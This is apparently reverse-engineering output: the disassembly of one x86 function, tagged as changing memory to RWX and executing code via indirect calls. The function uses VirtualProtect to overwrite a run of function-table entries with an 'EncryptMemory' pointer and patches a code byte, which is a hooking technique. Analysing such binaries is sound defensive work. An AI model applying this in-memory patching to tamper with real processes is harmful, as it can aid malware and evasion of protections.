Function at 0x10016320
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
cmp dword [0x1003b1d4], 0
push ebx
mov ebx, dword [ebp + 8]
jne 0x1001652b
push esi
push edi
call fcn.10016230
mov edi, dword [0x1003c580]
add edi, 0x40
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
je 0x10016376
mov eax, method.EncryptMemory.virtual_32
test eax, eax
je 0x10016376
lea ecx, [ebp - 4]
push ecx
push 0x40
push 4
push edi
call esi
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x20]
push edx
push eax
push 4
push edi
mov dword [edi], method.EncryptMemory.virtual_32
call esi
mov edi, dword [0x1003c580]
add edi, 0x44
je 0x100163a8
mov ecx, method.EncryptMemory.virtual_32
test ecx, ecx
je 0x100163a8
lea edx, [ebp - 8]
push edx
push 0x40
push 4
push edi
call esi
mov ecx, dword [ebp - 8]
lea eax, [ebp - 0x24]
push eax
push ecx
push 4
push edi
mov dword [edi], method.EncryptMemory.virtual_32
call esi
mov edi, dword [0x1003c580]
add edi, 0x48
je 0x100163da
mov edx, method.EncryptMemory.virtual_32
test edx, edx
je 0x100163da
lea eax, [ebp - 0xc]
push eax
push 0x40
push 4
push edi
call esi
mov edx, dword [ebp - 0xc]
lea ecx, [ebp - 0x28]
push ecx
push edx
push 4
push edi
mov dword [edi], method.EncryptMemory.virtual_32
call esi
mov edi, dword [0x1003c580]
add edi, 0x4c
je 0x1001640c
mov eax, method.EncryptMemory.virtual_32
test eax, eax
je 0x1001640c
lea ecx, [ebp - 0x10]
push ecx
push 0x40
push 4
push edi
call esi
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0x2c]
push edx
push eax
push 4
push edi
mov dword [edi], method.EncryptMemory.virtual_32
call esi
mov edi, dword [0x1003c580]
add edi, 0x50
je 0x1001643e
mov ecx, method.EncryptMemory.virtual_32
test ecx, ecx
je 0x1001643e
lea edx, [ebp - 0x14]
push edx
push 0x40
push 4
push edi
call esi
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x30]
push eax
push ecx
push 4
push edi
mov dword [edi], method.EncryptMemory.virtual_32
call esi
mov edi, dword [0x1003c580]
add edi, 0x54
je 0x10016470
mov edx, method.EncryptMemory.virtual_32
test edx, edx
je 0x10016470
lea eax, [ebp - 0x18]
push eax
push 0x40
push 4
push edi
call esi
mov edx, dword [ebp - 0x18]
lea ecx, [ebp - 0x34]
push ecx
push edx
push 4
push edi
mov dword [edi], method.EncryptMemory.virtual_32
call esi
mov edi, dword [0x1003c580]
add edi, 0x58
je 0x100164a2
mov eax, method.EncryptMemory.virtual_32
test eax, eax
je 0x100164a2
lea ecx, [ebp - 0x1c]
push ecx
push 0x40
push 4
push edi
call esi
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 0x38]
push edx
push eax
push 4
push edi
mov dword [edi], method.EncryptMemory.virtual_32
call esi
cmp dword [0x1003c57c], 0
jne 0x100164d6
mov ecx, dword [0x1003ca5c]
mov eax, dword [0x1003fd54]
mov edx, dword [ecx]
mov edx, dword [edx + 4]
add eax, 0x2e0
push eax
call edx
push eax
mov edi, 7
call fcn.10007ed0
add esp, 4
mov dword [0x1003c57c], eax
mov ecx, dword [0x1003ca5c]
mov edx, dword [0x1003fd54]
mov eax, dword [ecx]
mov eax, dword [eax + 4]
add edx, 0x2e0
push edx
call eax
mov edi, eax
test edi, edi
je 0x1001651f
lea ecx, [ebp - 4]
push ecx
push 0x40
push 1
push edi
call esi
push 1
push 0x100335bc
push edi
call dword [sym.imp.MSVCR100.dll_memmove]
mov eax, dword [ebp - 4]
add esp, 0xc
lea edx, [ebp - 4]
push edx
push eax
push 1
push edi
call esi
pop edi
mov dword [0x1003b1d4], 1
pop esi
call fcn.1000f1d0
call fcn.1000f3b0
call fcn.1000e0d0
push ebx
call fcn.1000e430
call fcn.100141e0
mov ecx, ebx
call fcn.1000ee20
call fcn.10011e70
push ebx
call fcn.10011ad0
mov ecx, ebx
call fcn.10010eb0
push ebx
call fcn.10011480
push ebx
call fcn.10011700
add esp, 0x10
call fcn.10013980
call fcn.10013880
call fcn.10014530
call fcn.10013cd0
call fcn.10013e50
call fcn.10014930
call fcn.100122c0
call fcn.100121e0
call fcn.100120c0
call fcn.10014770
call fcn.10011800
call fcn.10014860
call fcn.10014380
call fcn.10014010
call fcn.100140b0
call fcn.100152c0
call fcn.10015130
call fcn.10015510
mov ecx, ebx
call fcn.10015350
call fcn.10014a60
call fcn.10015040
call fcn.10014d90
pop ebx
mov esp, ebp
pop ebp
ret